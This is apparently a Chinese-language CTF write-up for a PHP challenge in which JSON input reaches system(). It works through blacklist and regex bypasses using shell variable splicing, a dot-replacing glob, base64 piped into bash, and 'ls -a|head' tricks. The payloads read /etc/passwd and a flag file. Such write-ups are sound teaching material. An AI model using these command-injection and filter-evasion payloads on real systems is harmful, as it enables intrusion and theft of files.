simple_php

发布于 2024-07-13  2804 次阅读


simple php

166d08f2fc4f0abeb0bb307488b6b8c

代码审计一下

php://input伪协议传post的参

flag \ .. 都被加黑名单了

传入的参数会经过json_decode处理数据,这里的数据又会被if_safe来次黑名单检测,然后还要经过过一个比命长的正则匹配检测,还会把json_decode唯一会自动识别的编码方式ban了

如果都没有问题,那就会system直接执行命令,并且输出Ok.i seem to be safe!

一般的json: {"name":"Bob"} 这就是传的参数为name值为bob

然后开始做题:

不能编码绕过正则,又要符合json传参的格式,这里想了挺久才有点思路,思路是:

因为没正则检测 管道符,&,$ 所以可以利用拼接绕过正则去执行命令 测试一下:

{"cmd":"a=ca&&b=t&&$a$b /etc/passwd"}
image-20240712100109943

成功执行cat /etc/passwd

这里有点要注意的是

网上的拼接绕过是这样格式的: a=ca;b=c;$a$b /etc/passwd

这个在linux上确实是可以成功执行的,可以去终端测一测

image-20240712100356397

这里是正常输出了

这里我用的&&连接

到这里其实也差不多了,接下来一样操作把flag给拼接一下,符号.也有办法绕过

可以用正则去绕.号 比如:

{"cmd":"a=ca&&b=t&&c=fla&&d=g&&$a$b /$c$d[+-0]txt"}  

还可以用base64编码去绕:

{"cmd":"c=Y2F0IC9mbGFn&&d=LnR4dA==&&a=bas&&b=h&&echo $c$d|base64 -d|$a$b"}

用管道符去base64解码,把这个过程当成bash命令执行

还有一个骚操作:取一个.号来用

{"cmd":"a=ca&&b=t&&c=l&&d=s&&e=hea&&f=d&&g=fla&&h=g&&$a$b /$g$h$($c$d -a|$e$f -n 1)txt"}

根据命令 :ls -a|head -n 1

ls -a 是列出当前目录下的所有文件和目录,包括隐藏文件

head -n 1 又是从ls -a这里获得到的 取第一行文件或者目录

关键就在于 一个目录里所有文件的第一行都是当前工作的目录路径 而这里恰好是.号

所以这个可以直接取到.号

image-20240712103902145

三个方法 随便一个都行